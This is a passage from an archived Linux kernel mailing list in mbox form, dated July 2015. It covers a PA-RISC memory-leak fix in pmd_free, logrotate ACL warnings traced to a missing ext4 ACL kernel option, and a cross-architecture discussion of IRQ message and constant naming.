> IAOQ[1]: free_pcppages_bulk+0x350/0x470
> RP(r2): 0x40766a40
> Backtrace:
> [<000000004021c904>] free_hot_cold_page+0x234/0x250
> [<000000004021c974>] free_hot_cold_page_list+0x54/0x90
> [<0000000040224f28>] release_pages+0x308/0x3f0
> [<0000000040226ae8>] __pagevec_release+0x58/0x78
> [<00000000402287f4>] invalidate_mapping_pages+0x244/0x258
> [<000000004029c284>] inode_lru_isolate+0x1e4/0x2b0
> [<0000000040240f34>] __list_lru_walk_one.isra.4+0xc4/0x1c0
> [<00000000402411bc>] list_lru_walk_one+0x64/0x80
> [<000000004029cc2c>] prune_icache_sb+0x54/0x88
> [<000000004027c564>] super_cache_scan+0x2a4/0x308
> [<0000000040228d6c>] shrink_slab+0x34c/0x408
> [<000000004022d23c>] shrink_zone+0x2bc/0x2c8
> [<000000004022e0d4>] kswapd+0x6a4/0xb70
> [<00000000401a5e14>] kthread+0x144/0x178
> [<0000000040145020>] end_fault_vector+0x20/0x28
> [<0000000014281000>] 0x14281000
> 
> Kernel panic - not syncing: Kernel Fault
> ---[ end Kernel panic - not syncing: Kernel Fault
> 
> This is with:
> Linux version 4.0.8+ (dave@mx3210) (gcc version 4.9.3 (GCC) ) #1 SMP Mon Jul 13 18:47:55 EDT 2015
> 
> Dave
> 
> On 2015-07-13, at 2:54 PM, Helge Deller wrote:
> 
>> COOL !!!
>> I think this is our kernel 4.0 OOM bugfix !!
>> 
>> Helge
>> 
>> 
>> -------- Forwarded Message --------
>> Subject: Re: [PATCH] parisc: mm: Fix a memory leak related to pmd not attached to the pgd
>> Date: Mon, 13 Jul 2015 20:52:37 +0200
>> From: Helge Deller <deller@gmx.de>
>> To: Christophe JAILLET <christophe.jaillet@wanadoo.fr>, jejb@parisc-linux.org, mpatocka@redhat.com, kirill.shutemov@linux.intel.com
>> CC: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org, kernel-janitors@vger.kernel.org, John David Anglin <dave.anglin@bell.net>, Meelis Roos <mroos@linux.ee>
>> 
>> Hi Christophe,
>> 
>> On 13.07.2015 11:32, Christophe JAILLET wrote:
>>> Commit 0e0da48dee8d ("parisc: mm: don't count preallocated pmds")
>>> introduced a memory leak.
>>> 
>>> After this commit, the 'return' statement in pmd_free is executed in all
>>> cases. Even for pmd that are not attached to the pgd.
>>> So 'free_pages' can never be called anymore, leading to a memory leak.
>> 
>> That's really great!!! Thanks for spotting this!
>> 
>> I assume this fixes the leak which killed our debian buildds with OOM
>> after an uptime of 1-4 days and which only happened since kernel 4.0.
>> Meelis Roos reported the issue already in this thread:
>> http://marc.info/?l=linux-parisc&m=142999113232154&w=2
>> 
>>> Signed-off-by: Christophe JAILLET <christophe.jaillet@wanadoo.fr>
>> 
>> Acked-by: Helge Deller <deller@gmx.de>
>> 
>> 
>> Will this patch be pushed via linux-mm or another tree, if
>> not I can take it via the parisc tree?
>> 
>> 
>> Helge
>> 
>> 
>>> ---
>>> This patch is *untested* as I don't have the hardware to test it.
>>> 
>>> This is just a guess based on the indentation, the comment in the code
>>> and the commit log.
>>> ---
>>> arch/parisc/include/asm/pgalloc.h | 3 ++-
>>> 1 file changed, 2 insertions(+), 1 deletion(-)
>>> 
>>> diff --git a/arch/parisc/include/asm/pgalloc.h b/arch/parisc/include/asm/pgalloc.h
>>> index 3a08eae..f66d3738 100644
>>> --- a/arch/parisc/include/asm/pgalloc.h
>>> +++ b/arch/parisc/include/asm/pgalloc.h
>>> @@ -72,7 +72,7 @@ static inline pmd_t *pmd_alloc_one(struct mm_struct *mm, unsigned long address)
>>> 
>>> static inline void pmd_free(struct mm_struct *mm, pmd_t *pmd)
>>> {
>>> -	if(pmd_flag(*pmd) & PxD_FLAG_ATTACHED)
>>> +	if (pmd_flag(*pmd) & PxD_FLAG_ATTACHED) {
>>> 		/*
>>> 		 * This is the permanent pmd attached to the pgd;
>>> 		 * cannot free it.
>>> @@ -81,6 +81,7 @@ static inline void pmd_free(struct mm_struct *mm, pmd_t *pmd)
>>> 		 */
>>> 		mm_inc_nr_pmds(mm);
>>> 		return;
>>> +	}
>>> 	free_pages((unsigned long)pmd, PMD_ORDER);
>>> }
>>> 
>>> 
>> 
>> --
>> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
>> the body of a message to majordomo@vger.kernel.org
>> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>> 
>> 
>> 
> 
> --
> John David Anglin	dave.anglin@bell.net
> 
> 
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 

--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Bug#706050: logrotate: spurious "error: getting file ACL" messages
Date: Wed, 15 Jul 2015 08:04:00 -0400
Lines: 52
Approved: news@gmane.org
Message-ID: <BLU436-SMTP18157D4CE0F5950B9C624A5979A0@phx.gbl>
References: <BLU0-SMTP118606EF06DBC860DA78C097B40@phx.gbl> <20130424110157.GA24835@thinkpad.nowster.org.uk> <BLU0-SMTP60C4315DE3E426704E80A897B50@phx.gbl> <BLU436-SMTP10577C68AA6B4B3605CAF59979E0@phx.gbl> <1436688955.2344.1.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1436961857 23149 80.91.229.3 (15 Jul 2015 12:04:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 15 Jul 2015 12:04:17 +0000 (UTC)
Cc: Paul Martin <pm@debian.org>, 706050@bugs.debian.org,
	Debian Bug Tracking System <control@bugs.debian.org>,
	Helge Deller <deller@gmx.de>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 15 14:04:10 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZFLQ1-0005mJ-7d
	for glpp-linux-parisc@plane.gmane.org; Wed, 15 Jul 2015 14:04:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751961AbbGOMEI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 15 Jul 2015 08:04:08 -0400
Original-Received: from blu004-omc4s17.hotmail.com ([65.55.111.156]:54747 "EHLO
	BLU004-OMC4S17.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751843AbbGOMEH convert rfc822-to-8bit
	(ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 15 Jul 2015 08:04:07 -0400
Original-Received: from BLU436-SMTP181 ([65.55.111.136]) by BLU004-OMC4S17.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.23008);
	 Wed, 15 Jul 2015 05:04:03 -0700
X-TMN: [fcUVXEJUcfxJG+QfYXoWL/QT/rgxR7KfvaScBaiOmHc=]
X-Originating-Email: [dave.anglin@bell.net]
In-Reply-To: <1436688955.2344.1.camel@HansenPartnership.com>
X-Mailer: Apple Mail (2.1085)
X-OriginalArrivalTime: 15 Jul 2015 12:04:02.0668 (UTC) FILETIME=[571FD2C0:01D0BEF6]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25838
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25838>

On 2015-07-12, at 4:15 AM, James Bottomley wrote:

> On Sat, 2015-07-11 at 11:51 -0400, John David Anglin wrote:
>> On 2013-04-24, at 7:36 AM, John David Anglin wrote:
>> 
>>> On 24-Apr-13, at 7:01 AM, Paul Martin wrote:
>>> 
>>>> The test is
>>>> 
>>>>      if ((prev_acl = acl_get_fd(fdcurr)) == NULL) {
>>>>              if (errno != ENOTSUP) {
>>>>                      message(MESS_ERROR, "getting file ACL %s: %s\n",
>>>>                              currLog, strerror(errno));
>>>> 
>>>> 
>>>> and your kernel is responding with ENOSYS instead.  This contradicts
>>>> the manpage acl_get_fd(3):
>>>> 
>>>>   [ENOTSUP]          The file system on which the file identified by fd is
>>>>                      located does not support ACLs, or ACLs are disabled.
>>> 
>>> Thanks, forwarded your response to the parisc-linux list for review.
>> 
>> 
>> The spurious mail  has come back with logrotate 3.8.7-2.  File system is ext4:
>> /dev/sdc6 on /var type ext4 (rw,relatime,data=ordered)
>> 
>> /etc/cron.daily/logrotate:
>> error: getting file ACL /var/log/apt/term.log: Operation not supported
>> error: getting file ACL /var/log/apt/history.log: Operation not supported
>> ...
> 
> It looks like you built your kernel without CONFIG_EXT4_FS_POSIX_ACL.
> The warning is harmless because ACLs aren't required for logs ... it's
> merely trying to duplicate the ACL on the rotated file.


You were correct, CONFIG_EXT4_FS_POSIX_ACL wasn't defined.  Adding this to the kernel
appears to suppress the spam email from logrotate.

Thanks,
Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ellerman <mpe@ellerman.id.au>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [3/3] IRQ: Print "unexpected IRQ" messages consistently across
 architectures
Date: Thu, 16 Jul 2015 14:12:29 +1000
Lines: 49
Approved: news@gmane.org
Message-ID: <1437019949.28475.6.camel@ellerman.id.au>
References: <20150712220211.7166.42035.stgit@bhelgaas-glaptop2.roam.corp.google.com>
	 <20150713032303.D49801402B1@ozlabs.org>
	 <CAErSpo52Kk0c=1UHQzxntJc3ph_CX8vcY+QdULBKv-HGUHBK9Q@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1437019960 32474 80.91.229.3 (16 Jul 2015 04:12:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 16 Jul 2015 04:12:40 +0000 (UTC)
Cc: Thomas Gleixner <tglx@linutronix.de>,
	Linux-Arch <linux-arch@vger.kernel.org>,
	"linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
	linux-am33-list@redhat.com,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	linux-c6x-dev@linux-c6x.org, linux-parisc@vger.kernel.org,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	"linux-sh@vger.kernel.org" <linux-sh@vger.kernel.org>,
	adi-buildroot-devel@lists.sourceforge.net,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	linux-m68k@lists.linux-m68k.org, linux-alpha@vger.kernel.org,
	"x86@kernel.org" <x86@kernel.org>,
	linuxppc-dev <linuxppc-dev@lists.ozlabs.org>
To: Bjorn Helgaas <bhelgaas@google.com>
Original-X-From: linux-m68k-owner@vger.kernel.org Thu Jul 16 06:12:38 2015
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1ZFaXF-0007bd-NK
	for glpm-linux-m68k@plane.gmane.org; Thu, 16 Jul 2015 06:12:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752235AbbGPEMd (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Thu, 16 Jul 2015 00:12:33 -0400
Original-Received: from ozlabs.org ([103.22.144.67]:33091 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752228AbbGPEMb (ORCPT <rfc822;linux-m68k@lists.linux-m68k.org>);
	Thu, 16 Jul 2015 00:12:31 -0400
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(No client certificate requested)
	by ozlabs.org (Postfix) with ESMTPSA id E2AEC140281;
	Thu, 16 Jul 2015 14:12:29 +1000 (AEST)
In-Reply-To: <CAErSpo52Kk0c=1UHQzxntJc3ph_CX8vcY+QdULBKv-HGUHBK9Q@mail.gmail.com>
X-Mailer: Evolution 3.12.10-0ubuntu1~14.10.1 
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:7340 gmane.linux.kernel.cross-arch:28436 gmane.linux.ports.mips.general:49472 gmane.linux.ports.ia64:25581 gmane.linux.ports.parisc:25839 gmane.linux.ports.sh.devel:47277 gmane.linux.kernel:1997522 gmane.linux.ports.alpha:3196 gmane.linux.ports.ppc64.devel:115391
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/7340>

On Mon, 2015-07-13 at 13:35 -0500, Bjorn Helgaas wrote:
> On Sun, Jul 12, 2015 at 10:23 PM, Michael Ellerman <mpe@ellerman.id.au> wrote:
> > On Sun, 2015-12-07 at 22:02:11 UTC, Bjorn Helgaas wrote:
> >> Many architectures use a variant of "unexpected IRQ trap at vector %x" to
> >> log unexpected IRQs.  This is confusing because (a) it prints the Linux IRQ
> >> number, but "vector" more often refers to a CPU vector number, and (b) it
> >> prints the IRQ number in hex with no base indication, while Linux IRQ
> >> numbers are usually printed in decimal.
> >>
> >> Print the same text ("unexpected IRQ %d") across all architectures.
> >>
> >> No functional change other than the output text.
> >
> > There's already a fallback version in asm-generic, so shouldn't you instead
> > just delete all the versions that are identical to that?
> >
> > eg. on powerpc we have:
> >
> >>  static inline void ack_bad_irq(unsigned int irq)
> >>  {
> >> -     printk(KERN_CRIT "unexpected IRQ trap at vector %02x\n", irq);
> >> +     printk(KERN_CRIT "unexpected IRQ %d\n", irq);
> >>  }
> >
> > And the generic version is:
> >
> >>  #ifndef ack_bad_irq
> >>  static inline void ack_bad_irq(unsigned int irq)
> >>  {
> >> -     printk(KERN_CRIT "unexpected IRQ trap at vector %02x\n", irq);
> >> +     printk(KERN_CRIT "unexpected IRQ %d\n", irq);
> >>  }
> >>  #endif
> >
> > So we can just delete the powerpc version?
> 
> Wow, I really didn't do my homework here.  Not only is there a generic
> version already, but there's also print_irq_desc(), which prints way
> more information than any of the ack_bad_irq() implementations.

Even better :)

> I'll try again :)

Thanks.

cheers



From - Thu Nov 08 21:37:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Martin <pm@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Bug#706050: logrotate: spurious "error: getting file ACL"
 messages
Date: Thu, 16 Jul 2015 07:55:48 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20150716065547.GB13102@thinkpad.nowster.org.uk>
References: <BLU0-SMTP118606EF06DBC860DA78C097B40@phx.gbl>
 <20130424110157.GA24835@thinkpad.nowster.org.uk>
 <BLU0-SMTP60C4315DE3E426704E80A897B50@phx.gbl>
 <BLU436-SMTP10577C68AA6B4B3605CAF59979E0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1437031243 30936 80.91.229.3 (16 Jul 2015 07:20:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 16 Jul 2015 07:20:43 +0000 (UTC)
Cc: 706050@bugs.debian.org, Helge Deller <deller@gmx.de>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 16 09:20:38 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZFdTC-0003Pq-8P
	for glpp-linux-parisc@plane.gmane.org; Thu, 16 Jul 2015 09:20:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753814AbbGPHUh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 16 Jul 2015 03:20:37 -0400
Original-Received: from bethyngalw.nowster.me.uk ([92.243.21.240]:47544 "EHLO
	bethyngalw.nowster.me.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752751AbbGPHUg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 16 Jul 2015 03:20:36 -0400
X-Greylist: delayed 1483 seconds by postgrey-1.27 at vger.kernel.org; Thu, 16 Jul 2015 03:20:36 EDT
Original-Received: from [172.17.3.6] (helo=thinkpad.nowster.org.uk)
	by bethyngalw.nowster.me.uk with esmtpsa (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128)
	(Exim 4.86_RC4)
	(envelope-from <pm@debian.org>)
	id 1ZFd5B-00019M-Op; Thu, 16 Jul 2015 07:55:49 +0100
Content-Disposition: inline
In-Reply-To: <BLU436-SMTP10577C68AA6B4B3605CAF59979E0@phx.gbl>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25840
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25840>

On Sat, Jul 11, 2015 at 11:51:12AM -0400, John David Anglin wrote:

> The spurious mail  has come back with logrotate 3.8.7-2.  File system is ext4:
> /dev/sdc6 on /var type ext4 (rw,relatime,data=ordered)
> 
> /etc/cron.daily/logrotate:
> error: getting file ACL /var/log/apt/term.log: Operation not supported
> error: getting file ACL /var/log/apt/history.log: Operation not supported
> ...

Are you running with SELinux enabled by any chance?

-- 
Paul Martin <pm@debian.org>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Bug#706050: logrotate: spurious "error: getting file ACL" messages
Date: Thu, 16 Jul 2015 07:32:10 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <BLU437-SMTP1172C979E55C9F1D1648E997990@phx.gbl>
References: <BLU0-SMTP118606EF06DBC860DA78C097B40@phx.gbl> <20130424110157.GA24835@thinkpad.nowster.org.uk> <BLU0-SMTP60C4315DE3E426704E80A897B50@phx.gbl> <BLU436-SMTP10577C68AA6B4B3605CAF59979E0@phx.gbl> <20150716065547.GB13102@thinkpad.nowster.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1437046346 9859 80.91.229.3 (16 Jul 2015 11:32:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 16 Jul 2015 11:32:26 +0000 (UTC)
Cc: 706050@bugs.debian.org, Helge Deller <deller@gmx.de>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: Paul Martin <pm@debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 16 13:32:19 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZFhOj-0004Q0-K9
	for glpp-linux-parisc@plane.gmane.org; Thu, 16 Jul 2015 13:32:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754222AbbGPLcP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 16 Jul 2015 07:32:15 -0400
Original-Received: from blu004-omc4s18.hotmail.com ([65.55.111.157]:57878 "EHLO
	BLU004-OMC4S18.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754175AbbGPLcN convert rfc822-to-8bit
	(ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 16 Jul 2015 07:32:13 -0400
Original-Received: from BLU437-SMTP11 ([65.55.111.135]) by BLU004-OMC4S18.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.23008);
	 Thu, 16 Jul 2015 04:32:12 -0700
X-TMN: [JMPK/VvJXT8KopfC0sdKbVp0URNCOIHGNWHwFsq9xYo=]
X-Originating-Email: [dave.anglin@bell.net]
In-Reply-To: <20150716065547.GB13102@thinkpad.nowster.org.uk>
X-Mailer: Apple Mail (2.1085)
X-OriginalArrivalTime: 16 Jul 2015 11:32:11.0796 (UTC) FILETIME=[0E91A540:01D0BFBB]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25841
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25841>

On 2015-07-16, at 2:55 AM, Paul Martin wrote:

> On Sat, Jul 11, 2015 at 11:51:12AM -0400, John David Anglin wrote:
> 
>> The spurious mail  has come back with logrotate 3.8.7-2.  File system is ext4:
>> /dev/sdc6 on /var type ext4 (rw,relatime,data=ordered)
>> 
>> /etc/cron.daily/logrotate:
>> error: getting file ACL /var/log/apt/term.log: Operation not supported
>> error: getting file ACL /var/log/apt/history.log: Operation not supported
>> ...
> 
> Are you running with SELinux enabled by any chance?


No.  As mentioned previously, CONFIG_EXT4_FS_POSIX_ACL=y makes problem go away.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 1/3] x86, irq: Rename VECTOR_UNDEFINED and VECTOR_RETRIGGERED
 to IRQ_*
Date: Fri, 17 Jul 2015 16:06:54 +0200 (CEST)
Lines: 33
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.11.1507171558010.18576@nanos>
References: <20150712215559.7166.33068.stgit@bhelgaas-glaptop2.roam.corp.google.com> <20150712220154.7166.48327.stgit@bhelgaas-glaptop2.roam.corp.google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1437142039 12651 80.91.229.3 (17 Jul 2015 14:07:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 17 Jul 2015 14:07:19 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-mips@linux-mips.org,
	linux-am33-list@redhat.com, linux-ia64@vger.kernel.org,
	linux-c6x-dev@linux-c6x.org, linux-parisc@vger.kernel.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-alpha@vger.kernel.org, x86@kernel.org,
	linuxppc-dev@lists.ozlabs.org
To: Bjorn Helgaas <bhelgaas@google.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Fri Jul 17 16:07:18 2015
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1ZG6IH-0003Mt-Bx
	for glpi-linux-ia64-2@plane.gmane.org; Fri, 17 Jul 2015 16:07:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757840AbbGQOHQ (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Fri, 17 Jul 2015 10:07:16 -0400
Original-Received: from www.linutronix.de ([62.245.132.108]:47599 "EHLO
	Galois.linutronix.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757828AbbGQOHO (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Fri, 17 Jul 2015 10:07:14 -0400
Original-Received: from localhost ([127.0.0.1])
	by Galois.linutronix.de with esmtps (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:256)
	(Exim 4.80)
	(envelope-from <tglx@linutronix.de>)
	id 1ZG6I4-00046s-2I; Fri, 17 Jul 2015 16:07:04 +0200
In-Reply-To: <20150712220154.7166.48327.stgit@bhelgaas-glaptop2.roam.corp.google.com>
User-Agent: Alpine 2.11 (DEB 23 2013-08-11)
X-Linutronix-Spam-Score: -1.0
X-Linutronix-Spam-Level: -
X-Linutronix-Spam-Status: No , -1.0 points, 5.0 required,  ALL_TRUSTED=-1,SHORTCIRCUIT=-0.0001
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:25583 gmane.linux.kernel.cross-arch:28503 gmane.linux.ports.mips.general:49492 gmane.linux.ports.parisc:25842 gmane.linux.ports.sh.devel:47370 gmane.linux.kernel:1998947 gmane.linux.ports.alpha:3198 gmane.linux.ports.ppc64.devel:115506
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/25583>

On Sun, 12 Jul 2015, Bjorn Helgaas wrote:

> The per-cpu vector_irq[] table is indexed by CPU vector numbers, and each
> entry contains an IRQ number.
> 
> Rename the special values VECTOR_UNDEFINED and VECTOR_RETRIGGERED to
> IRQ_UNDEFINED and IRQ_RETRIGGERED to indicate that they are in the IRQ
> number space, not the CPU vector number space.

Makes some sense, but OTOH vector_irq actually reflects the vector
state not the irq number state. The fact that we store the Linux irq
number in vector_irq is just an implementation detail.

VECTOR_UNDEFINED is certainly a misnomer; that should be VECTOR_UNUSED

VECTOR_RETRIGGERED is pretty accurate. In the case we retrigger an
interrupt, we merily use the Linux irq number to figure out which
vector to kick. And after we retriggered it, we lose the association
to the Linux irq number completely.

That said, I'm working on storing the irq descriptor pointer in
vector_irq instead of the irq number, which has the advantage that we
avoid the lookup of the irq descriptor in the interrupt hotpath.

Thanks,

	tglx

--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bhelgaas@google.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 1/3] x86, irq: Rename VECTOR_UNDEFINED and
 VECTOR_RETRIGGERED to IRQ_*
Date: Fri, 17 Jul 2015 12:50:05 -0500
Lines: 33
Approved: news@gmane.org
Message-ID: <CAErSpo6HFN1i2cMwrLyFoYGrvaX-QFeVT_bJyRo9wpFLwma49g@mail.gmail.com>
References: <20150712215559.7166.33068.stgit@bhelgaas-glaptop2.roam.corp.google.com>
 <20150712220154.7166.48327.stgit@bhelgaas-glaptop2.roam.corp.google.com> <alpine.DEB.2.11.1507171558010.18576@nanos>
